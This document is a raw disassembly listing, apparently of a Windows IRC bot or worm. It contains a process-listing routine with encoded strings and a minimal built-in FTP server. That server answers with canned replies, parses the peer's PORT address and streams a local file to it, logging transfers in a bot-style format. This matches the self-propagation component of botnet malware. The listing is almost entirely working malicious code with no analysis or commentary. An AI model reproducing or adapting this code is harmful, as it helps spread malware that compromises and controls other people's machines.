		sub	esp, 44h
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+5Ch+arg_0]
		push	edi
		mov	edi, ecx
		lea	ebx, [esi+7Eh]
		lea	ecx, [edi+4]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E8FA
		lea	eax, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4018E8
; ---------------------------------------------------------------------------
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0
		push	ecx
		call	sub_4011D6
		add	esp, 4
		test	al, al
		jz	loc_41E8E2
		push	0
		push	7Bh
		push	25h
		push	9
		push	25h
		push	25h
		push	9
		push	5
		push	1Dh
		push	23h
		push	1Fh
		lea	edx, [esp+8Ch+var_3C]
		push	79h
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	edi, eax
		lea	ebx, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 1
		mov	ecx, ebx
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_40168B
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], 0
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_40170D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		xor	edi, edi
		call	sub_4014E2
		mov	eax, [eax]
		lea	ecx, [esp+60h+var_4C]
		push	ecx
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], eax
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jz	short loc_41E8E2
		mov	ebp, dword_5118D8


loc_41E86E:				; CODE XREF: sub_41E760+180j
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_40122B
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_40122B
		mov	edx, [eax+15h]
		mov	ecx, ebx
		push	edx
		push	edi
		push	offset aD_PidDS	; "%d. - Pid: %d - \"%s\""
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 20h
		push	5DCh
		call	ebp
		lea	ecx, [esp+60h+var_50]
		call	sub_40107D
		lea	edx, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_40197E
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_401811
		test	al, al
		jnz	short loc_41E86E


loc_41E8E2:				; CODE XREF: sub_41E760+62j
					; sub_41E760+106j
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401825
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E8FA:				; CODE XREF: sub_41E760+37j
		lea	ecx, [edi+32h]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41E9EE
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 2
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 4
		call	sub_4014DD
		push	eax
		push	offset dword_445004
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+93h]
		push	eax
		mov	al, [esi+94h]
		push	eax
		push	ecx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41E9EE:				; CODE XREF: sub_41E760+1ACj
		lea	ecx, [edi+8Eh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EB55
		lea	edx, [esp+60h+arg_0]
		lea	ecx, [esp+60h+var_48]
		push	edx
		call	sub_4016EA
; ---------------------------------------------------------------------------
		lea	eax, [esp+60h+var_48]
		mov	ebx, 5
		push	eax
		mov	[esp+64h+var_4], ebx
		call	sub_402162
		add	esp, 4
		test	al, al
		jz	loc_41EB3D
		push	0
		push	3Eh
		push	13h
		push	ebx
		push	3
		push	9
		push	16h
		push	12h
		push	ebx
		push	13h
		lea	ecx, [esp+88h+var_3C]
		push	3Dh
		push	ecx
		call	sub_4019C4
		add	esp, 30h
		mov	edi, eax
		lea	ebp, [esi+69h]
		mov	byte ptr [esp+60h+var_4], 6
		mov	ecx, ebp
		call	sub_4014DD
		push	eax
		mov	ecx, edi
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		mov	ecx, offset byte_4D8075
		call	sub_401118
		lea	ecx, [esp+60h+var_3C]
		mov	byte ptr [esp+60h+var_4], bl
		call	sub_401226
		lea	ecx, [esp+60h+var_50]
		call	sub_401B54
		lea	ecx, [esp+60h+var_4C]
		xor	edi, edi
		push	ecx
		lea	ecx, [esp+64h+var_48]
		call	sub_401465
		mov	edx, [eax]
		lea	eax, [esp+60h+var_4C]
		push	eax
		lea	ecx, [esp+64h+var_48]
		mov	[esp+64h+var_50], edx
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jz	short loc_41EB3D
		mov	ebx, dword_5118D8


loc_41EAD6:				; CODE XREF: sub_41E760+3DBj
		lea	ecx, [esp+60h+var_50]
		inc	edi
		call	sub_401055
		mov	ecx, eax
		call	sub_4017EE
		push	eax
		push	edi
		push	offset dword_444FF8
		mov	ecx, ebp
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 1Ch
		push	5DCh
		call	ebx
		lea	ecx, [esp+60h+var_50]
		call	sub_401839
		lea	eax, [esp+60h+var_4C]
		lea	ecx, [esp+60h+var_48]
		push	eax
		call	sub_4013F7
		push	eax
		lea	ecx, [esp+64h+var_50]
		call	sub_4012BC
		test	al, al
		jnz	short loc_41EAD6


loc_41EB3D:				; CODE XREF: sub_41E760+2CFj
					; sub_41E760+36Ej
		lea	ecx, [esp+60h+var_48]
		mov	[esp+60h+var_4], 0FFFFFFFFh
		call	sub_401253
; ---------------------------------------------------------------------------
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EB55:				; CODE XREF: sub_41E760+2A3j
		lea	ecx, [edi+0BCh]
		call	sub_4014DD
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41EC4C
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_3C]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 7
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	edx, [esp+64h+var_3C]
		push	1
		push	edx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 8
		call	sub_4017EE
		push	eax
		call	sub_401A0A
		add	esp, 4
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 9
		call	sub_4014DD
		push	eax
		push	offset dword_444FF0
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	cl, [esi+94h]
		mov	dl, [esi+93h]
		push	eax
		push	ecx
		push	edx
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 18h
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		mov	al, 1
		jmp	loc_41ED17
; ---------------------------------------------------------------------------


loc_41EC4C:				; CODE XREF: sub_41E760+40Aj
		lea	ecx, [edi+60h]
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4012EE
		test	eax, eax
		jnz	loc_41ED15
		push	offset asc_444600 ; " "
		lea	eax, [esp+64h+var_3C]
		push	1
		push	eax
		mov	ecx, esi
		call	sub_4016B8
		push	offset byte_448F30
		mov	ecx, eax
		mov	[esp+64h+var_4], 0Ah
		call	sub_4012EE
		test	eax, eax
		setz	bl
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+60h+var_3C]
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	bl, bl
		jnz	short loc_41ED15
		push	offset asc_444600 ; " "
		lea	ecx, [esp+64h+var_24]
		push	1
		push	ecx
		mov	ecx, esi
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+60h+var_4], 0Bh
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C1BF18h
		add	esp, 4
		lea	ecx, [esp+60h+var_24]
		mov	ebx, eax
		mov	[esp+60h+var_4], edi
		call	sub_401226
		test	ebx, ebx
		jz	short loc_41ED15
		push	ebx
		push	offset dword_444FE4
		lea	ecx, [esi+69h]
		call	sub_4014DD
		mov	dl, [esi+94h]
		push	eax
		mov	al, [esi+93h]
		push	edx
		push	eax
		push	offset byte_4D8075
		call	sub_401857
		push	ebx
		call	sub_4018B6
		add	esp, 1Ch
		jmp	short loc_41ED17
; ---------------------------------------------------------------------------


loc_41ED15:				; CODE XREF: sub_41E760+1F0j
					; sub_41E760+44Ej ...
		xor	al, al


loc_41ED17:				; CODE XREF: sub_41E760+195j
					; sub_41E760+289j ...
		mov	ecx, [esp+60h+var_C]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		mov	large fs:0, ecx
		add	esp, 50h
		retn	4
sub_41E760	endp

; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 180h	dup(0CCh)
; ---------------------------------------------------------------------------


loc_41EEB0:				; CODE XREF: ___:loc_402004j
		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	(offset	asc_43C4EA+26h)
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 8
		push	ebx
		push	esi
		push	edi
		mov	edi, dword_5118D8
		mov	[ebp-10h], esp
		mov	esi, ecx
		mov	dword ptr [ebp-4], 0


loc_41EEE0:				; CODE XREF: ___:0041EEF1j
		mov	al, [esi+0ABh]
		test	al, al
		jnz	short loc_41EEF3
		push	3E8h
		call	edi
		jmp	short loc_41EEE0
; ---------------------------------------------------------------------------


loc_41EEF3:				; CODE XREF: ___:0041EEE8j
		mov	al, [esi+0ACh]
		lea	ecx, [esi+15h]
		push	eax
		push	ecx
		mov	ecx, offset byte_449277
		call	sub_401A41
		lea	edx, [ebp-14h]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[ebp-14h], esi
		call	sub_40120D
; ---------------------------------------------------------------------------


loc_41EF19:				; DATA XREF: ___:loc_41EF2Co
		mov	ecx, [ebp-0Ch]
		pop	edi
		pop	esi
		xor	eax, eax
		mov	large fs:0, ecx
		pop	ebx
		mov	esp, ebp
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41EF2C:				; DATA XREF: ___:00442554o
		mov	eax, offset loc_41EF19
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41EF70	proc near		; CODE XREF: sub_401DFCj

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		mov	eax, [esp+arg_0]
		push	esi
		mov	esi, ecx
		mov	[esi+11h], eax
		mov	cl, [eax+94h]
		mov	[esi+0A9h], cl
		mov	dl, [eax+93h]
		mov	[esi+0A8h], dl
		mov	cl, [eax+95h]
		add	eax, 15h
		mov	[esi+0AAh], cl
		push	eax
		lea	ecx, [esi+2Ah]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+69h]
		add	edx, 54h
		push	edx
		call	sub_401FDC
		mov	eax, [esi+11h]
		lea	ecx, [esi+54h]
		add	eax, 3Fh
		push	eax
		call	sub_401FDC
		mov	ecx, [esi+11h]
		add	ecx, 2Ah
		push	ecx
		lea	ecx, [esi+3Fh]
		call	sub_401FDC
		mov	edx, [esi+11h]
		lea	ecx, [esi+15h]
		push	edx
		call	sub_401FDC
		mov	al, [esp+4+arg_4]
		mov	byte ptr [esi+0ABh], 1
		mov	[esi+0ACh], al
		pop	esi
		retn	8
sub_41EF70	endp

; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_41F030	proc near		; CODE XREF: sub_4020C7j

var_DC		= dword	ptr -0DCh
var_B8		= dword	ptr -0B8h
var_B4		= dword	ptr -0B4h
var_B0		= dword	ptr -0B0h
var_AC		= dword	ptr -0ACh
var_A8		= dword	ptr -0A8h
var_A4		= dword	ptr -0A4h
var_A0		= dword	ptr -0A0h
var_9C		= dword	ptr -9Ch
var_94		= byte ptr -94h
var_88		= dword	ptr -88h
var_80		= dword	ptr -80h
var_7C		= dword	ptr -7Ch
var_68		= dword	ptr -68h
var_64		= byte ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= byte ptr -54h
var_44		= byte ptr -44h
var_34		= dword	ptr -34h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
arg_0		= byte ptr  4
arg_8		= byte ptr  0Ch
arg_14		= dword	ptr  18h
arg_18		= byte ptr  1Ch
arg_20		= byte ptr  24h
arg_38		= byte ptr  3Ch
arg_50		= byte ptr  54h
arg_68		= byte ptr  6Ch
arg_80		= byte ptr  84h
arg_88		= byte ptr  8Ch
arg_A8		= byte ptr  0ACh
arg_E4		= byte ptr  0E8h
arg_F0		= byte ptr  0F4h
arg_118		= byte ptr  11Ch
arg_128		= byte ptr  12Ch
arg_138		= byte ptr  13Ch
arg_148		= byte ptr  14Ch
arg_158		= byte ptr  15Ch
arg_908		= byte ptr  90Ch
arg_18C8	= dword	ptr  18CCh
arg_18D8	= dword	ptr  18DCh
arg_1930	= byte ptr  1934h
arg_1970	= dword	ptr  1974h

		mov	eax, large fs:0
		push	0FFFFFFFFh
		push	offset SEH_41F030
		push	eax
		mov	eax, 19B4h
		mov	large fs:0, esp
		call	sub_437B30
		push	esi
		push	edi
		mov	edi, ecx
		xor	eax, eax
		mov	[esp+14h+var_8], edi
		mov	[esp+14h+arg_14], 10h
		lea	esi, [edi+19h]
		mov	ecx, esi
		mov	[ecx], eax
		mov	[ecx+4], eax
		mov	[ecx+8], eax
		mov	[ecx+0Ch], eax
		mov	word ptr [esi],	2
		mov	[edi+1Dh], eax
		mov	dx, word ptr dword_44964F
		push	edx
		call	near ptr 71AB2B66h
		nop
		push	6
		push	1
		push	2
		mov	[edi+1Bh], ax
		nop
		call	near ptr 71AB3B91h
		cmp	eax, 0FFFFFFFFh
		mov	[edi+15h], eax
		jnz	short loc_41F0B7
		lea	eax, [esp+24h+var_18]
		mov	ecx, offset byte_4E8E9B
		push	eax
		mov	[esp+28h+var_18], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0B7:				; CODE XREF: sub_41F030+6Dj
		push	10h
		push	esi
		push	eax
		call	near ptr 71AB3E00h
		nop
		test	eax, eax
		jz	short loc_41F0E7
		mov	ecx, [edi+15h]
		push	ecx
		call	near ptr 71AB9639h
		nop
		lea	edx, [esp+34h+var_28]
		mov	ecx, offset byte_4E8E9B
		push	edx
		mov	[esp+38h+var_28], edi
		call	sub_40120D
; ---------------------------------------------------------------------------
		jmp	loc_41F75A
; ---------------------------------------------------------------------------


loc_41F0E7:				; CODE XREF: sub_41F030+93j
		mov	al, byte_4E8E44
		test	al, al
		jz	loc_41F750
		push	ebx
		mov	ebx, dword_511B14
		push	ebp
		mov	ebp, dword_511CA0


loc_41F102:				; CODE XREF: sub_41F030+718j
		mov	eax, [edi+15h]
		push	0Ah
		push	eax
		nop
		call	near ptr 71AB88D3h
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_41F11D
		push	0FAh
		jmp	loc_41F73B
; ---------------------------------------------------------------------------


loc_41F11D:				; CODE XREF: sub_41F030+E1j
		mov	eax, [edi+15h]
		lea	ecx, [esp+40h+var_C]
		lea	edx, [esp+40h+arg_F0]
		push	ecx
		push	edx
		push	eax
		nop
		call	near ptr 71AC1028h
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	loc_41F736
		xor	ecx, ecx
		lea	edx, [esp+4Ch+var_14]
		mov	[esp+4Ch+var_2C], ecx
		lea	eax, [esp+4Ch+var_2C]
		mov	[esp+4Ch+var_28], ecx
		push	edx
		mov	[esp+50h+var_24], ecx
		push	eax
		push	esi
		mov	[esp+58h+var_14], 10h
		mov	[esp+58h+var_20], ecx
		nop
		call	near ptr 71AC0B50h
		mov	eax, [esp+58h+var_34]
		test	al, al
		jz	loc_41F741
		mov	cl, byte_449DB8
		test	cl, cl
		jz	short loc_41F1CF
		mov	edx, [esp+58h+var_34+3]
		mov	ecx, dword_44964F
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+5Ch+var_34+2]
		push	edx
		mov	edx, [esp+60h+var_34+1]
		and	ecx, 0FFh
		and	edx, 0FFh
		push	ecx
		and	eax, 0FFh
		push	edx
		push	eax
		push	offset aFtpD_D_D_DOnD ;	"ftp: %d.%d.%d.%d on %d"
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 28h


loc_41F1CF:				; CODE XREF: sub_41F030+14Ej
		lea	ecx, [esp+58h+arg_0]
		call	sub_40142E
		push	1000h
		push	1000h
		lea	ecx, [esp+60h+arg_0]
		mov	[esp+60h+arg_1970], 0
		call	sub_401C71
		push	eax
		call	sub_4015F5
		add	esp, 8
		lea	eax, [esp+58h+arg_0]
		lea	ecx, [esp+58h+arg_18]
		push	eax
		call	sub_4014D3
		lea	ecx, [esp+58h+arg_0]
		mov	byte ptr [esp+58h+arg_1970], 1
		push	ecx
		lea	ecx, [esp+5Ch+arg_18]
		call	sub_401FDC
		mov	edi, offset a220 ; "220	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a220	; "220 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+6Ch+arg_158]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a331 ; "331	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a331	; "331 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	eax, [esp+7Ch+arg_148]
		push	800h
		push	eax
		push	esi
		call	sub_401280
		mov	edi, offset a230 ; "230	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a230	; "230 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	ecx, [esp+8Ch+arg_138]
		push	800h
		push	ecx
		push	esi
		call	sub_401280
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		push	0
		not	ecx
		dec	ecx
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+9Ch+arg_128]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		add	esp, 10h
		lea	eax, [esp+98h+arg_128]
		lea	ecx, [esp+98h+var_C]
		push	eax
		call	sub_401870
		push	offset asc_444600 ; " "
		lea	ecx, [esp+9Ch+var_54]
		push	1
		push	ecx
		lea	ecx, [esp+0A4h+var_C]
		mov	[esp+0A4h+arg_1930], 2
		call	sub_4016B8
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_38]
		push	0
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		mov	[esp+0A4h+arg_1930], 3
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 4
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_38]
		mov	edi, eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_80]
		push	1
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 5
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_80]
		mov	[esp+98h+var_7C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_8]
		push	2
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 6
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_8]
		mov	[esp+98h+var_5C], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	edx, [esp+9Ch+arg_68]
		push	3
		push	edx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 7
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_68]
		mov	[esp+98h+var_58], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	eax, [esp+9Ch+arg_20]
		push	4
		push	eax
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 8
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_20]
		mov	[esp+98h+var_88], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		push	offset asc_445080 ; ","
		lea	ecx, [esp+9Ch+arg_50]
		push	5
		push	ecx
		lea	ecx, [esp+0A4h+var_54]
		call	sub_4016B8
		mov	ecx, eax
		mov	[esp+98h+arg_1930], 9
		call	sub_4017EE
		push	eax
		call	ebx	; atoi
		add	esp, 4
		lea	ecx, [esp+98h+arg_50]
		mov	[esp+98h+var_80], eax
		mov	[esp+98h+arg_1930], 3
		call	sub_401226
		mov	dl, byte ptr [esp+98h+var_88]
		mov	al, byte ptr [esp+98h+var_80]
		mov	ecx, [esp+98h+var_58]
		mov	byte ptr [esp+98h+var_68+1], dl
		mov	edx, [esp+98h+var_5C]
		mov	byte ptr [esp+98h+var_68], al
		mov	eax, [esp+98h+var_68]
		push	ecx
		and	eax, 0FFFFh
		push	edx
		mov	[esp+0A0h+var_88], eax
		mov	eax, [esp+0A0h+var_7C]
		push	eax
		push	edi
		lea	ecx, [esp+0A8h+arg_A8]
		push	offset aD_D_D_D	; "%d.%d.%d.%d"
		push	ecx
		call	sub_5FC011
		nop
		mov	edi, offset a200 ; "200	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 18h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a200	; "200 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0ACh+arg_118]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a150 ; "150	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a150	; "150 \r\n"
		push	esi
		call	ebp	; send
		mov	eax, [esp+0B8h+var_A8]
		lea	ecx, [esp+0B8h+arg_88]
		push	eax
		push	ecx
		call	sub_401AA0
		add	esp, 8
		lea	ecx, [esp+0B8h+var_44]
		mov	[esp+0B8h+var_A8], eax
		push	offset aRb	; "rb"
		call	sub_4017EE
		push	eax
		nop
		call	near ptr 77C3F010h
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		mov	[esp+0B8h+var_A0], edi
		jz	loc_41F695
		cmp	[esp+0B8h+var_A8], 0FFFFFFFFh
		jz	loc_41F695
		push	2
		push	0
		push	edi
		call	near ptr 77C4139Ch
		nop
		push	edi
		call	near ptr 77C41574h
		nop
		push	0
		push	0
		push	edi
		mov	[esp+0D4h+var_9C], eax
		nop
		call	near ptr 77C4139Ch
		add	esp, 1Ch


loc_41F5C0:				; CODE XREF: sub_41F030+5E1j
		mov	edx, [esp+0B8h+var_A0]
		mov	ecx, 400h
		xor	eax, eax
		lea	edi, [esp+0B8h+arg_908]
		rep stosd
		push	edx
		push	1000h
		lea	eax, [esp+0C0h+arg_908]
		push	1
		push	eax
		call	near ptr 77C411FBh
		nop
		mov	ecx, [esp+0C8h+var_A0]
		mov	edi, eax
		add	esp, 10h
		test	byte ptr [ecx+0Ch], 20h
		jnz	short loc_41F613
		mov	eax, [esp+0B8h+var_A8]
		push	0
		lea	edx, [esp+0BCh+arg_908]
		push	edi
		push	edx
		push	eax
		call	ebp	; send
		cmp	edi, 1000h
		jz	short loc_41F5C0


loc_41F613:				; CODE XREF: sub_41F030+5C7j
		mov	eax, [esp+0C8h+var_B4]
		mov	edx, [eax+11h]
		inc	edx
		mov	[eax+11h], edx
		mov	cl, byte_449DB8
		test	cl, cl
		mov	eax, edx
		jz	short loc_41F67C
		mov	edx, [esp+0C8h+var_A4+3]
		mov	ecx, [esp+0C8h+var_AC]
		push	eax
		mov	eax, [esp+0CCh+var_A4+2]
		and	edx, 0FFh
		push	ecx
		mov	ecx, [esp+0D0h+var_A4+1]
		push	edx
		mov	edx, [esp+0D4h+var_A4]
		and	eax, 0FFh
		and	ecx, 0FFh
		push	eax
		and	edx, 0FFh
		push	ecx
		push	edx
		push	offset aFtpD_D_D_DDByt ; "ftp: %d.%d.%d.%d -> (%d bytes) (total	s"...
		mov	ecx, offset dword_449958
		call	sub_4014DD
		push	eax
		push	0
		push	0
		push	offset byte_4D8075
		call	sub_401857
		add	esp, 2Ch


loc_41F67C:				; CODE XREF: sub_41F030+5F8j
		mov	eax, [esp+0C8h+var_B0]
		push	eax
		nop
		call	near ptr 77C40AB1h
		mov	ecx, [esp+0CCh+var_B8]
		add	esp, 4
		push	ecx
		call	near ptr 71AB9639h
		nop


loc_41F695:				; CODE XREF: sub_41F030+55Bj
					; sub_41F030+566j
		mov	edi, offset a226 ; "226	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	0
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset a226	; "226 \r\n"
		push	esi
		call	ebp	; send
		push	0
		lea	edx, [esp+0E0h+arg_E4]
		push	800h
		push	edx
		push	esi
		call	sub_401280
		mov	edi, offset a221 ; "221	\r\n"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		add	esp, 10h
		repne scasb
		not	ecx
		dec	ecx
		push	0
		push	ecx
		push	offset a221	; "221 \r\n"
		push	esi
		call	ebp	; send
		push	esi
		nop
		call	near ptr 71AB9639h
		lea	ecx, [esp+0F0h+var_AC]
		mov	byte ptr [esp+0F0h+arg_18D8], 2
		call	sub_401226
		lea	ecx, [esp+0F0h+var_64]
		mov	byte ptr [esp+0F0h+arg_18D8], 1
		call	sub_401226
		lea	ecx, [esp+0F0h+var_7C]
		mov	byte ptr [esp+0F0h+arg_18D8], 0
		call	sub_401226
		lea	ecx, [esp+0F0h+var_94]
		mov	[esp+0F0h+arg_18D8], 0FFFFFFFFh
		call	sub_401226
		mov	edi, [esp+0F0h+var_DC]


loc_41F736:				; CODE XREF: sub_41F030+109j
		push	9C4h


loc_41F73B:				; CODE XREF: sub_41F030+E8j
		nop
		call	near ptr 2841E5Ch


loc_41F741:				; CODE XREF: sub_41F030+140j
		mov	al, byte_4E8E44
		test	al, al
		jnz	loc_41F102
		pop	ebp
		pop	ebx


loc_41F750:				; CODE XREF: sub_41F030+BEj
		mov	eax, [edi+15h]
		push	eax
		nop
		call	near ptr 71AB9639h


loc_41F75A:				; CODE XREF: sub_41F030+82j
					; sub_41F030+B2j
